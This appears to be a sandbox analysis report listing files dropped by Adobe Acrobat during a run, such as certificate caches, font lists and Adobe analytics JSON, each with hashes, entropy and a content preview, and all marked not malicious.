Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765777597930328
Encrypted:	false
SSDEEP:	48:7MTJioyVPioyLoy1C7oy16oy1VKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OT:7oJuP94XjBiOdb9IVXEBodRBkl
MD5:	5A57B720D86328665D22B038716D601A
SHA1:	A7FFCC9303E3D2889DB259B5ABE0D5E8D609B795
SHA-256:	670550665B390336C84C738A5AD5787B43FF1DC76E46F8D0C6C0D78AE092DB72
SHA-512:	FB0D9729FCE99BA42A63E0E3E94CE70A6B7509B9256D989266CA813A59FD34798F29C7AB630E2ECAA2D858A6DFD03BAA32258AA27B57AF03E393D4A6F8E778C6
Malicious:	false
Preview:	.... .c.....F7................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklDEmVtfllXlE/HT8kPzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKPmVeT8gNMa8RdWBwRd
MD5:	1C6A99BF911C68B1DA62E9D7CB478593
SHA1:	375FE909BF85BC4E3C53EDBDBE17ADA9C183BF41
SHA-256:	BD6DAD8F284C2C2D67358650C1B19286F35E28509F78736B999868ED01BE6BE4
SHA-512:	BC3B56BEC89E51FD86E16C6B487981373C4F6473A49E20210C9F1AEDBE620893567757FB9760140FBF5E38CF91AC636C162E76A1A5AACC62190361FB0B388CCE
Malicious:	false
Preview:	p...... ..........H.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK0L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8iDImsLNkPlE99SNxAhUe/3
MD5:	216A32F4B5378269651096B28DC518F0
SHA1:	82F9E0988B53760400CCD50F9C62FF4263D4D15A
SHA-256:	D7A6D9148F1E26622F3609F8FB3C7E79BF760AFC7F7C2103B0C308BDB8758DB4
SHA-512:	AA39169EEABFDC9FBB0EB46722FE4AD6A13AA17881C0CBD7A05F1903AAE5CF570E60B0DD92CCFA3AE95A5A8285734A68B9325DBD049B0EA71DDD0E354E176CA9
Malicious:	false
Preview:	p...... ........,z.[.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4208

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4208

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367191120407379
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJM3g98kUwPeUkwRe9:YvXKX2Cvc7GMbLUkee9
MD5:	A3EEFC51BA06F4C976A3182C23C08529
SHA1:	BADFAA073E68F96D229294F57CE51C0B7E4D21C3
SHA-256:	40EBD23E948212E5092BA621D89C76CCFE6BFD8A5AC3459B788E77142D1A6B0E
SHA-512:	372BDD06D62571C4A437F6E340FB44A8E869CF9922C68518C1261848121D19715D6246344669F08513EACEB4FA3E691D6D1EF05E2C2F43B8EB9B529B5EE9BC0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.318768924765987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfBoTfXpnrPeUkwRe9:YvXKX2Cvc7GWTfXcUkee9
MD5:	3721188D3981BEC902A20451E955F619
SHA1:	18326ADF209812EB469AB1D68E3793C16297C5EE
SHA-256:	C4C2E137F0CB3681AD83D687D55897F0D0B3935E5DCCEA1F8FB6DA0326AF030E
SHA-512:	04ABFFD037C63EC5B6AEF5EBBE74CB6C52EE4FBF91631E50A0A81111FF97049A80491EF22D2C70D1BCE120269AAFBD8F3DB7053AB6B985B286A173EE170900C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298295107840019
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfBD2G6UpnrPeUkwRe9:YvXKX2Cvc7GR22cUkee9
MD5:	736E5ECB0E568D13EC3F71284EC84E87
SHA1:	14109931E0C8827771E7F45B1A6B3D6719871484
SHA-256:	263C7F822C7D05625BA462FA2DB7EF2AED9D7DF392B55C890613E40CF85ECE4A
SHA-512:	65550F74B70B4491A9E39A76B4297193AF2B2C60D484C70C56CE4E7A8E0E444E2605DE90FB216E5BD96DEFDCBBF9C506EB5730C4B080725476CD7EA275DA857D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34734800253062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfPmwrPeUkwRe9:YvXKX2Cvc7GH56Ukee9
MD5:	CA09D9C22A13718F44BBA71F8E6822AA
SHA1:	A120F470D7DCB1C73A25AA2F2DC91B1B08C24019
SHA-256:	8D8A3BCD31EFA012F9B60B69681C8B96986F5FCF555F107D600DD634858D48DA
SHA-512:	FF918DB1F3E48B4C6313F57E32BE33352D07193E9C2276A93923ADE1C9E3EA7265F216313D90759C4A5039F063ABD516FCE24F84ABD129C086B35514212DB625
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690264628342583
Encrypted:	false
SSDEEP:	24:Yv6X2CUQpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:YvVC1hgy6SAFv5Ah8cv/4
MD5:	CB16241EB4BFD6FEDFD9AD04F5E54F65
SHA1:	E494FFA890C10485D4D8F17D7146CB50239F75B3
SHA-256:	E6CFED23E1F6089B562A6EC05B6643065EFDEC78DCE85E3CD78A995C390C9347
SHA-512:	28171F3536A0885135CB9810302723C4FB9F0B699E0483E1CC18512E023E99FC9C37BD6FD8D07C3B322B65B0C5752252F2EE936CB81232DF9F6E6E78D246D432
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297564340466508
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJf8dPeUkwRe9:YvXKX2Cvc7GU8Ukee9
MD5:	20801267EC85F44B0759BD3AF594D80C
SHA1:	5BFA8FDD77CD0C9B0BF0EA28BA3C08D26B99CF0D
SHA-256:	135A6B30B10BA03D6135DEF3EBD0D36C66B58B9E761B6C2BF701C3256FDCB517
SHA-512:	2DCB0F738C57FDAE5C7EA2213CC2B8B10C0F9083F823465A4A1B60F0DBB22E04A8C1C0A13FCBD0FDE5419B32BE599CB5798711F64E48E6DA03D291D6F4C4AB87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.299068206599243
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfQ1rPeUkwRe9:YvXKX2Cvc7GY16Ukee9
MD5:	E691DB0A1071C2FF93C6BA4D53A67B96
SHA1:	A8159EEE1055857DF2C456249A55CDA2C0B14DF7
SHA-256:	B5DD23A8025D2A454B66A2F07B715AACFCFD33CE8C86314E1046A127C1DB367F
SHA-512:	916C95B8FBFCE07327D591239B20ECBD17ED7751A0D696A6C6F321E755626A10BABAA68F2BF251B5D7EF090CD282CF2C7EF0B42635417236ED3E2049061DD7D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308554011117362
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWJW31cv09nZiQ0Y8UoAvJfFldPeUkwRe9:YvXKX2Cvc7Gz8Ukee9
MD5:	8D56F6312E236994CEAB98D92A9FC9A4
SHA1:	233A31023E1EC036FBA2500185A335FF03494DE9
SHA-256:	3232EABDC9F7209708D543DCE597E63870B81DFA3AE2B52F530C20EE052F993A
SHA-512:	D7815AD3AEA065F7043778138E40BEF2A52319123D41A9EC7F3A73879D29983A454EF606DC25B728D41C8B998B44E8774E77FF5C0CB8B64F24C64075D4DC857B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03bcb4e7-78e5-494e-b9f5-8be3d5628997","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721372953,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323864928618838
Encrypted:	false
